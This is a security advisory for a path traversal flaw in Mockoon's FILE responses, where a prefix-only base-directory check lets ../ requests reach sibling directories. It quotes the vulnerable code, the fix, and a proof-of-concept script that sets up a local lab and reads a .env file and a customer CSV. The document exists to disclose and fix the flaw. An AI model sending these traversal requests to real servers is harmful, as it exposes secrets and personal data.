CVE-2026-59149: Mockoon: Path traversal in templated `filePath` lets a request escape the served directory (prefix-only base check)

Summary

A FILE response whose filePath embeds request data (e.g. "/srv/public/{{queryParam 'name'}}", the documented way to let the client pick a file) is confined by getSafeFilePath with resolvedPath.startsWith(staticBaseDir). That prefix test has no path-separator boundary, so a ../-escaped path whose absolute form string-prefixes the base directory passes. An unauthenticated client reads files from sibling paths outside the served directory.

Details

packages/commons-server/src/libs/server/server.ts, getSafeFilePath (line 2315). The static base is the text before the first {{, resolved to an absolute path; the parsed filePath is then bounded by a string-prefix check:

ts const staticBaseDir = staticBaseMatch ? resolve(staticBaseMatch[1]) : null; // 2336 const parsedFilePath = TemplateParser({ ... request ... }); // request-controlled const resolvedPath = resolvePath(parsedFilePath);

if (isPathAbsolute) { if (!staticBaseDir || !resolvedPath.startsWith(staticBaseDir)) { // 2355 throw new Error(Access to absolute path outside of the original static base directory (${resolvedPath})); } } else if (!resolvedPath.startsWith(this.options.environmentDirectory)) { // 2362 throw new Error(Access to relative path outside of the environment base directory (${resolvedPath})); }

With "/srv/public/{{queryParam 'name'}}", staticBaseDir = /srv/public. A request name=../publicbackup/.env resolves to /srv/publicbackup/.env, and "/srv/publicbackup/.env".startsWith("/srv/public") is true → served. Any sibling whose absolute path begins with the string /srv/public is reachable; the relative branch (:2362) is the same against environmentDirectory. A correct check appends sep to the base, or rejects when relative(base, resolvedPath) starts with ...

filePath is request-controlled (queryParam/urlParam/header/body via TemplateParser) for every FILE response: HTTP sendFile (:1762), WebSocket (:1145), callbacks (:1586).

PoC

sh cat > /tmp/poc.sh <<'POC' set -e mkdir -p /work/public /work/publicbackup && cd /work echo 'public landing page' > public/index.txt echo 'AWSSECRETACCESSKEY=redacted' > publicbackup/.env echo 'Michael, michael@example.com, 555-22-7741' > publicbackup/customers.csv cat > env.json <<'JSON' {"uuid":"00000000-0000-0000-0000-000000000001","lastMigration":33,"name":"f","port":3000,"hostname":"","folders":[], "routes":[{"uuid":"11111111-0000-0000-0000-000000000001","type":"http","documentation":"","method":"get","endpoint":"download", "responses":[{"uuid":"22222222-0000-0000-0000-000000000001","body":"","latency":0,"statusCode":200,"label":"","headers":[], "bodyType":"FILE","filePath":"/work/public/{{queryParam 'name'}}","sendFileAsBody":true,"rules":[],"rulesOperator":"OR", "disableTemplating":false,"fallbackTo404":false,"default":true,"crudKey":"id","callbacks":[]}], "responseMode":null,"streamingMode":null,"streamingInterval":0}], "rootChildren":[{"type":"route","uuid":"11111111-0000-0000-0000-000000000001"}], "proxyMode":false,"proxyHost":"","proxyRemovePrefix":false, "tlsOptions":{"enabled":false,"type":"CERT","pfxPath":"","certPath":"","keyPath":"","caPath":"","passphrase":""}, "cors":true,"headers":[],"proxyReqHeaders":[],"proxyResHeaders":[],"data":[]} JSON npm i -g @mockoon/cli@9.6.1 >/dev/null 2>&1 mockoon-cli start --data env.json --port 3000 >/tmp/srv.log 2>&1 & sleep 6 node -e ' const UA={headers:{"User-Agent":"Mozilla/5.0 (X11; Linux x8664; rv:128.0) Gecko/20100101 Firefox/128.0"}}; const g=async(q)=>{const r=await fetch("http://127.0.0.1:3000/download?name="+encodeURIComponent(q),UA);return (await r.text()).trim();}; (async()=>{ console.log("[] intended file (public/index.txt) :",await g("index.txt")); console.log("[+] escape -> ../publicbackup/.env :",await g("../publicbackup/.env")); console.log("[+] escape -> ../publicbackup/customers:",await g("../publicbackup/customers.csv")); })();' POC docker run --rm -v /tmp/poc.sh:/poc.sh:ro node:20-bookworm-slim bash /poc.sh

Output:

text [] intended file (public/index.txt) : public landing page [+] escape -> ../publicbackup/.env : AWSSECRETACCESSKEY=redacted [+] escape -> ../publicbackup/customers: Michael, michael@example.com, 555-22-7741

../publicbackup/.env and ../publicbackup/customers.csv are served, outside /work/public/, because their absolute paths string-prefix /work/public